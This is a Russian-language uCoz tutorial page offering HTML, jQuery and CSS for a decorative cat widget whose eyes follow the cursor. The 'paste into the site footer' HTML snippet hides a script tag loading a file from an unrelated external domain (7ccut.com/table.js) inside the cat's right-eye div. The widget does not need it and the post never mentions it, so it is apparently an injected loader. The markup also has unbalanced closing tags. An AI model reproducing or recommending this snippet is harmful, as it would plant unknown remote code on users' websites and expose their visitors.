Заходи
Гость

Хостинг

Статистика
Яндекс.Метрика Счетчик PR-CY.Rank
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Ccылки

Свежак

Главная » 2014 » Январь » 25 » Кот на сайт для uCoz
17:20
Кот на сайт для uCoz
Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх.
Установка

Вставьте в Нижнюю часть сайта или в любой другой глобальный блок:

Код
<div id="cat">
  <div class="cat-paws"></div>
  <div class="cat-itself-wrap">
  <div class="cat-itself">
  <div id="cat-eye-left" class="cat-eye">
  <div class="cat-eyeball"></div>
  </div>
  <div id="cat-eye-right" class="cat-eye">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <div class="cat-eyeball"></div>
  </div>
  </div>
  </div>
  </div>
  </div>
  </div>
<script>
  $(function() {
  var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div');
  var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div');
  el1.show();
  el2.show();
  var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15;
  var r = 6, x , y, x2, y2, isEyeProcessed = false;
  $('body').mousemove(function(e) {
  if (!isEyeProcessed) {
  isEyeProcessed = true;
  var x2 = e.pageX, y2 = e.pageY;
   
  y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1;
  x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1;
   
  eyeBall1.css({
  marginTop: (y - y1 + 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  eyeBall2.css({
  marginTop: (y - y1 - 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  isEyeProcessed = false;
  }
  });
   
  $('#cat').mousemove(function(e) {
  e.stopPropagation();
  return false;
  });
   
  });
  </script>


Вставьте следующий код в Таблицу стилей (CSS):

Код
#cat {
  position: fixed;
  right: 80px;
  bottom: 0;
  width: 146px;
  height: 55px;
}
#cat:hover .cat-itself {
  height: 103px;
}
#cat:hover .cat-eye {
  display: none !important;
}
.cat-paws {
  position: absolute;
  right: 0;
  bottom: -4px;
  width: 132px;
  height: 33px;
  z-index: 2;
  background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom;
}
.cat-itself-wrap {
  position: absolute;
  width: 100%;
  height: 100%;
  z-index: 1;
}
.cat-itself {
  position: absolute;
  left: 0;
  bottom: 0;
  width: 125px;
  height: 55px;
  z-index: 0;
  background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat;
  -webkit-transition: all 0.1s 0.1s ease-out;
  transition: all 0.1s 0.1s ease-out;
}
.cat-eye {
  position: absolute;
  display: none;
  width: 28px;
  height: 28px;
  background: url(http://pnghosts.ru/img/cat-eye.png);
}
.cat-eyeball {
  position: absolute;
  left: 7.5px;
  top: 7.5px;
  width: 13px;
  height: 13px;
  background: url(http://pnghosts.ru/img/cat-eyeball.png);
}
#cat-eye-left {
  left: 25px;
  top: 23px;
}
#cat-eye-right {
  left: 74px;
  top: 26px;
}
Категория: Для Ucoz | Просмотров: 179 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск

Статьи
[Менеджмент]
Факторы микросреды организации
[Безопасность систем]
Защита исходных текстов и двоичного кода
[Операционные системы]
Особенности применения технологий Lotus Domino и Notes в современных информационных системах
[Прогараммирование]
ЛЕКЦИЯ Процедуры и функции
[Устронение ошибок систем]
Устранение неполадок при возникновении (синего экрана) Blue Screen Of Death (BSOD) (2)
[Прогараммирование]
Разработка ПО с открытыми исходными текстами как особый вид прикладной науки
[Информатика]
Как измеряется количество информации?
[Устронение ошибок систем]
Использование "чистой загрузки" для устранения неполадок в работе Windows
[Устронение ошибок систем]
Извлечение файлов Windows 7 из установочного DVD и замена ими поврежденных системных файлов
[Менеджмент]
Факторы микросреды организации

Категории
HTML/CSS [21]
jQuery/JS [36]
PHP [4]
Для Ucoz [38]

Популярный софт
Iron Kaspersky Internet Security 2015
Kaspersky Internet Security 2015
Iron Virtual DJ
Virtual DJ
Iron SoundForge 11
SoundForge 11
Iron Alcohol 120
Alcohol 120
Iron Norton Internet Security 2014
Norton Internet Security 2014
Iron Loaris Trojan Remover
Loaris Trojan Remover

Жми

Copyright MyCorp © 2018Конструктор сайтов - uCoz